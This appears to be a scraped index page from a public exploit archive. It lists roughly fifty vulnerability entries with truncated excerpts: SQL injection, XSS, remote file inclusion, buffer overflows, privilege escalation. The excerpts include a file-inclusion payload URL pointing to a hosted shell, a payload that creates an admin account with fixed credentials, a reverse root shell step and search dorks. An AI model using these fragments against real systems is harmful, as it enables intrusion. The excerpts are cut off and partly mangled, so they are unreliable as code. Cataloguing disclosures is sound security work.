ATutor 1.6.4 - Multiple Cross-Site Scripting Vulnerabilities

ATutor 1.6.4 - Multiple Cross-Site Scripting Vulnerabilities Topic : ATutor 1.6.4 Bugs Type : Cross Site Scripting all of them Credit : ItSecTeam Remote : Yes Status : Bug mail : [email protected] Dork : "ATutor 1.6.4" Special Tnx : am!rkh@n, Amin ShokohiPejvak, C0M0D0, 0xd41684c654, r3dmove And...

WorldPay Script Shop - productdetail SQL Injection

WorldPay Script Shop - productdetail SQL Injection ============================================ | WorldPay Script Shop productdetail SQL Injection Vulnerability ============================================ + Author: Err0R + Site : www.sa-hacker.com/vb + Email : [email protected]...

IPSwitch IMAP Server 9.20 - Remote Buffer Overflow

IPSwitch IMAP Server 9.20 - Remote Buffer Overflow / Ipsbitch.cpp vs Ipswitch IMAP Tested on: Windows 2000 SP4 Ref: CVE-2007-2795 Author: Dominic Chell Found this half written on a VM so decided to finish it. Payload adds a local admin account USER=r00t PASS=r00tr00t!! / include "stdafx.h" includ...

Roundcube Webmail 0.2-3 Beta - Code Execution

Roundcube Webmail 0.2-3 Beta - Code Execution Public Release Date of POC: 2008-12-22 Author: Jacobo Avariento Gimeno Sofistic CVE id: CVE-2008-5619 Bugtraq id: 32799 Severity: Critical Vulnerability reported by: RealMurphy Intro ---- Roundcube Webmail is a browser-based IMAP client that uses...

WebPhotoPro - Multiple SQL Injections

WebPhotoPro - Multiple SQL Injections source: https://www.securityfocus.com/bid/32829/info WebPhotoPro is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting these issues could allow an attacker t...

Acoustica Mixcraft 4.2 Build 98 - mx4 Local Buffer Overflow

Acoustica Mixcraft 4.2 Build 98 - mx4 Local Buffer Overflow !/usr/bin/perl Acoustica Mixcraft mx4 file Local Buffer Overflow Exploit Author: Koshi Date: 08-28-08 0day Application: Acoustica Mixcraft Versions: Possibly Older / 4.1 Build 96 / 4.2 Build 98 Site:...

phpFFL 1.24 - PHPFFL_FILE_ROOT Remote File Inclusion

phpFFL 1.24 - PHPFFLFILEROOT Remote File Inclusion Title : phpFFL 1.24 Remote File Inclusion Vulnerability Title : phpFFL 1.24 Remote File Inclusion Vulnerability Author : Dj7xpl Contact : [email protected] Dawnload : http://sourceforge.net/project/showfiles.php?groupid=137531 Gr33tZ : Y! Undergroun...

STPHPLibrary - STPHPLIB_DIR Remote File Inclusion

STPHPLibrary - STPHPLIBDIR Remote File Inclusion ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...

Squirrelcart 1.x - cart.php Remote File Inclusion

Squirrelcart 1.x - cart.php Remote File Inclusion Title : Squirrelcart config.php, line 13 - $siteisproot = "blablabla"; Exploit : squirrelcart//popupwindow.php?siteisproot=http://example.com/shell.txt? notes : registerglobals = off is needed it seems. milw0rm.com 2007-08-19...

PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion

PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion source: https://www.securityfocus.com/bid/23801/info PHPSecurityAdmin is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise...

Microsoft Windows - DNS DnssrvQuery Remote Stack Overflow

Microsoft Windows - DNS DnssrvQuery Remote Stack Overflow / Copyright c 2007 devcode ^^ D E V C O D E ^^ Windows DNS DnssrvQuery Stack Overflow CVE-2007-1748 Description: A vulnerability has been reported in Microsoft Windows, which can be exploited by malicious people to compromise a vulnerable...

Ethernet Device Drivers Frame Padding - Etherleak Infomation Leakage

Ethernet Device Drivers Frame Padding - Etherleak Infomation Leakage !/usr/bin/perl -w etherleak, code that has been 5 years coming. On 04/27/2002, I disclosed on the Linux Kernel Mailing list, a vulnerability that would be come known as the 'etherleak' bug. In various situations an ethernet fram...

PHPKit 1.6.1 - comment.php SQL Injection

PHPKit 1.6.1 - comment.php SQL Injection source: https://www.securityfocus.com/bid/21962/info PHPKIT is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to...

Mambo Component ExtCalendar 2.0 - Remote File Inclusion

Mambo Component ExtCalendar 2.0 - Remote File Inclusion -------------------------------------------------------------------------------- Title : ExtCalendar Mambo Module = v2 Remote File Include Vulnerabilities Discovered By OLiBekaS...

phpBB Knowledge Base 2.0.2 - Mod KB_constants.php Remote File Inclusion

phpBB Knowledge Base 2.0.2 - Mod KBconstants.php Remote File Inclusion source: https://www.securityfocus.com/bid/17763/info Knowledge Base Mod for phpbb is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An...

Multiple Vendor BIOS - Keyboard Buffer Password Persistence (1)

Multiple Vendor BIOS - Keyboard Buffer Password Persistence 1 source: https://www.securityfocus.com/bid/15751/info Multiple vendors fail to clear the BIOS Basic Input-Output System keyboard buffer after reading the preboot authentication password during the system startup process. Depending on th...

Microsoft Windows - DTC Remote (MS05-051) (2)

Microsoft Windows - DTC Remote MS05-051 2 / Hard to exploit, isn't it? I have tested it on 10+ box, most of them allocated 0x9X0058 for me, however, I cannot write the pointer to 0x7ffdf020 since the length I can control should be divided exactly by 8 merde, so I choose 0x684191c4. This following...

PHP-Nuke 7.x - Multiple Remote File Inclusions

PHP-Nuke 7.x - Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/18186/info PHP-Nuke is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issue...

Microsoft Windows - JPEG GDI+ BindReverseAdminFile Download

Microsoft Windows - JPEG GDI+ BindReverseAdminFile Download / Exploit Name: ============= JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload ============= Tweaked Exploit By M4Z3R For GSO All Credits & Greetings Go To: ========== FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha,...

William Deich Super 3.x - SysLog Format String

William Deich Super 3.x - SysLog Format String // source: https://www.securityfocus.com/bid/5367/info super is prone to a format string vulnerability. This problem is due to incorrect use of the syslog function to log error messages. It is possible to corrupt memory by passing format strings...

Hassan Consulting Shopping Cart 1.18 - Directory Traversal

Hassan Consulting Shopping Cart 1.18 - Directory Traversal source: https://www.securityfocus.com/bid/1777/info The $page variable in Hassan Consulting Shopping Cart does not properly check for insecure relative paths such as the double dot "..". Therefore, requesting the following URL will displa...

Microsoft Windows - WizardOpium Local Privilege Escalation

Microsoft Windows - WizardOpium Local Privilege Escalation include include extern "C" NTSTATUS NtUserMessageCallHWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONGPTR ResultInfo, DWORD dwType, BOOL bAscii; int main HINSTANCE hInstance = GetModuleHandleNULL; WNDCLASSEX wcx; ZeroMemory&wcx,...

Cacti 1.2.8 - Remote Code Execution

Cacti 1.2.8 - Remote Code Execution Exploit Title: Cacti 1.2.8 - Remote Code Execution Date: 2020-02-03 Exploit Author: Askar @mohammadaskar2 CVE: CVE-2020-8813 Vendor Homepage: https://cacti.net/ Version: v1.2.8 Tested on: CentOS 7.3 / PHP 7.1.33 !/usr/bin/python3 import requests import sys impo...

Adive Framework 2.0.8 - Cross-Site Request Forgery (Change Admin Password)

Adive Framework 2.0.8 - Cross-Site Request Forgery Change Admin Password Exploit Title: Adive Framework 2.0.8 - Cross-Site Request Forgery Change Admin Password Exploit Author: Sarthak Saini Date: 2020-01-18 Vendor Link : https://www.adive.es/ Software Link:...

WordPress Core 5.3.x - xmlrpc.php Denial of Service

WordPress Core 5.3.x - xmlrpc.php Denial of Service !/usr/bin/env python WordPress methodNamepingback.ping" entry += f"paramspingback/COUNT" entry += f"paramspingback/uuid.uuid4" entry += f"target/?p=1" entry += f"target/e" taxes DB more return entry def buildrequestpingback,target,entries: prefi...

Enigma NMS 65.0.0 - OS Command Injection

Enigma NMS 65.0.0 - OS Command Injection !/usr/bin/python -------------------------------------------------------------------- Exploit Title: Enigma NMS OS Command Injection NETSAS Pty Ltd Enigma NMS Date: 21 July 2019 Author: Mark Cross @xerubus | mogozobo.com Vendor: NETSAS Pty Ltd Vendor...

WordPress Plugin Import Export WordPress Users 1.3.1 - CSV Injection

WordPress Plugin Import Export WordPress Users 1.3.1 - CSV Injection Exploit Title: Wordpress Plugin Import Export WordPress Users = 1.3.1 - CSV Injection Exploit Author: Javier Olmedo Contact: @jjavierolmedo Website: https://sidertia.com Date: 2018-08-22 Google Dork:...

Cisco Wireless Controller 3.6.10E - Cross-Site Request Forgery

Cisco Wireless Controller 3.6.10E - Cross-Site Request Forgery Product : Cisco Wireless Controller Version : 3.6.10E last version Date: 23.07.2019 Vendor Homepage: https://www.cisco.com Exploit Author: Mehmet Önder Key Website: htts://cloudvist.com CVE: CVE-2019-12624 Description : The applicatio...

Serv-U FTP Server 15.1.7 - Local Privilege Escalation (1)

Serv-U FTP Server 15.1.7 - Local Privilege Escalation 1 / CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation vulnerability found by: Guy Levin @vastart - twitter.com/vastart https://blog.vastart.dev to compile and run: gcc servu-pe-cve-2019-12181.c -o pe && ./pe / include include include int main...

Advanced Host Monitor 11.92 beta - Local Buffer Overflow

Advanced Host Monitor 11.92 beta - Local Buffer Overflow !/usr/bin/env python ------------------------------------------------------------------------------------------------------------------------------------ Exploit: Advanced Host Monitor 11.92 beta - Local Buffer Overflow EggHunter Date:...

Microsoft Windows VCF - Remote Code Execution

Microsoft Windows VCF - Remote Code Execution + Credits: John Page aka hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-VCF-FILE-INSUFFICIENT-WARNING-REMOTE-CODE-EXECUTION.txt + ISR: ApparitionSec + Zero Day Initiative Program...

Modbus Slave 7.0.0 - Denial of Service (PoC)

Modbus Slave 7.0.0 - Denial of Service PoC Exploit Title: Modbus Slave 7.0.0 - Denial of Service PoC Dork: N/A Date: 2018-10-29 Exploit Author: Ihsan Sencan Vendor Homepage: https://www.modbustools.com/ Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe Software Link:...

Joomla! Component Collection Factory 4.1.9 - SQL Injection

Joomla! Component Collection Factory 4.1.9 - SQL Injection Exploit Title: Joomla! Component Collection Factory 4.1.9 - SQL Injection Dork: N/A Date: 2018-09-24 Vendor Homepage: https://thephpfactory.com/ Software Link:...

Chrome OS 10820.0.0 dev-channel - app-VM via garcon TCP Command Socket

Chrome OS 10820.0.0 dev-channel - app-VM via garcon TCP Command Socket ======================= BUG DESCRIPTION ======================= There is a variety of RPC communication channels between the Chrome OS host system and the crosvm guest. This bug report focuses on communication on TCP port 8889...

Zimbra 8.6.0_GA_1153 - Cross-Site Scripting

Zimbra 8.6.0GA1153 - Cross-Site Scripting Exploit Title: Xss Zimbra Mail server Google Dork: Date: 2018/08/10 Exploit Author: Dinbar78 Vendor Homepage: https://www.zimbra.com/ Version: 8.6.0GA1153 build 20141215151110 bug 103609 or CVE-2016-3411 Payload: es. https://...

WityCMS 0.6.2 - Cross-Site Request Forgery (Password Change)

WityCMS 0.6.2 - Cross-Site Request Forgery Password Change input type="hidden" name="groupe"...

TP-Link TL-WR840N - Denial of Service

TP-Link TL-WR840N - Denial of Service Exploit Title:- TP-Link Wireless N Router WR840N - Buffer Overflow Date:- 2018-07-16 Vendor Homepage:- https://www.tp-link.com/ Hardware Link:- https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q Version:- TP-Link Wireless N Router...

VLC media player 2.2.8 - Arbitrary Code Execution (PoC)

VLC media player 2.2.8 - Arbitrary Code Execution PoC Exploit Title: VLC media player 2.2.8 - Arbitrary Code Execution PoC Date: 2018-06-06 Exploit Author: Eugene Ng Vendor Homepage: https://www.videolan.org/vlc/index.html Software Link:...

Inteno IOPSYS 2.0 4.2.0 - p910nd Remote Command Execution

Inteno IOPSYS 2.0 4.2.0 - p910nd Remote Command Execution ''' Any authenticated user can modify the configuration for it in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE...

Microsoft Windows FxCop 1012 - XML External Entity Injection

Microsoft Windows FxCop 1012 - XML External Entity Injection Exploit Title: Microsoft Windows FxCop 10/12 - XML External Entity Injection Date: 2018-03-15 Exploit Author: Debashis Pal Vendor Homepage: www.microsoft.com Version: Microsoft Windows "FxCop" v10-12 CVE : N/A Greetz:...

WampServer 3.1.1 - Cross-Site Scripting Cross-Site Request Forgery

WampServer 3.1.1 - Cross-Site Scripting Cross-Site Request Forgery Exploit Title: WampServer 3.1.1 XSS via CSRF Date: 31-03-2018 Software Link: http://www.wampserver.com/en/ Version: 3.1.1 Tested On: Windows 10 Exploit Author: Vipin Chaudhary Contact: http://twitter.com/vipinxsec Website:...

WordPress Plugin Contact Form 7 to Database Extension 2.10.32 - CSV Injection

WordPress Plugin Contact Form 7 to Database Extension 2.10.32 - CSV Injection Exploit Title : Contact Form 7 to Database Extension Wordpress Plugin CSV Injection Date: 23-03-2018 Exploit Author : Stefan Broeder Contact : https://twitter.com/stefanbroeder Vendor Homepage: None Software Link:...

School Management Script 3.0.4 - Authentication Bypass

School Management Script 3.0.4 - Authentication Bypass Exploit Title: SQL Injection exists in PHP Scripts Mall School Management Script 3.0.4. Date: 26/02/2018 Exploit Author: Samiran Santra Vendor Homepage: https://www.phpscriptsmall.com Software Link:...

Joomla! Component Saxum Astro 4.0.14 - SQL Injection

Joomla! Component Saxum Astro 4.0.14 - SQL Injection Exploit Title: Joomla! Component Saxum Astro 4.0.14 - SQL Injection Dork: N/A Date: 16.02.2018 Vendor Homepage: http://www.saxum2003.hu/ Software Link: https://extensions.joomla.org/extensions/extension/living/astrology-a-horoscope/saxumastro/...

MalwareFox AntiMalware 2.74.0.150 - Privilege Escalation

MalwareFox AntiMalware 2.74.0.150 - Privilege Escalation / Title: MalwareFox AntiMalware 2.74.0.150 - Local Privilege Escalation Date: 03/02/2018 Author: Souhail Hammou Vendor Homepage: https://www.malwarefox.com/ Version: 2.74.0.150 Tested on: Windows 7 32-bit / Windows 10 64-bit CVE:...

Geovision Inc. IP Camera Video - Remote Command Execution

Geovision Inc. IP Camera Video - Remote Command Execution !/usr/bin/env python2.7 SOF Geovision Inc. IP Camera & Video Server Remote Command Execution PoC Researcher: bashis November 2017 1. Pop stunnel TLSv1 reverse root shell Local listener: 'ncat -vlp --ssl'; Verified w/ v7.60 2. Dump all...

Readymade Video Sharing Script 3.2 - HTML Injection

Readymade Video Sharing Script 3.2 - HTML Injection Exploit Title: Readymade Video Sharing Script 3.2 - HTML Injection Dork: N/A Date: 13.12.2017 Vendor Homepage: https://www.phpscriptsmall.com/ Software Link: https://www.phpscriptsmall.com/product/php-video-sharing-script/ Demo:...

Adult Script Pro 2.2.4 - SQL Injection

Adult Script Pro 2.2.4 - SQL Injection Exploit Title: Adult Script Pro 2.2.4 - SQL Injection Dork: N/A Date: 30.10.2017 Vendor Homepage: http://www.adultscriptpro.com/ Software Link: http://www.adultscriptpro.com/order.html Demo: http://www.adultscriptpro.com/demo.html Version: 2.2.4 Category:...

binutils 2.29.51.20170921 - read_1_byte Heap Buffer Overflow

binutils 2.29.51.20170921 - read1byte Heap Buffer Overflow Source: https://blogs.gentoo.org/ago/2017/09/26/binutils-heap-based-buffer-overflow-in-read1byte-dwarf2-c/ Description: binutils is a set of tools necessary to build programs. The complete ASan output of the issue: nm -A -a -l -S -s...

A2billing 2.x - Backup File Download Remote Code Execution

A2billing 2.x - Backup File Download Remote Code Execution Title : A2billing 2.x , Unauthenticated Backup dump / RCE flaw Vulnerable software : A2billing 2.x Author : Ahmed Sultan 0x4148 Email : [email protected] Home : 0x4148.com Linkedin : https://www.linkedin.com/in/0x4148/ A2billing contain...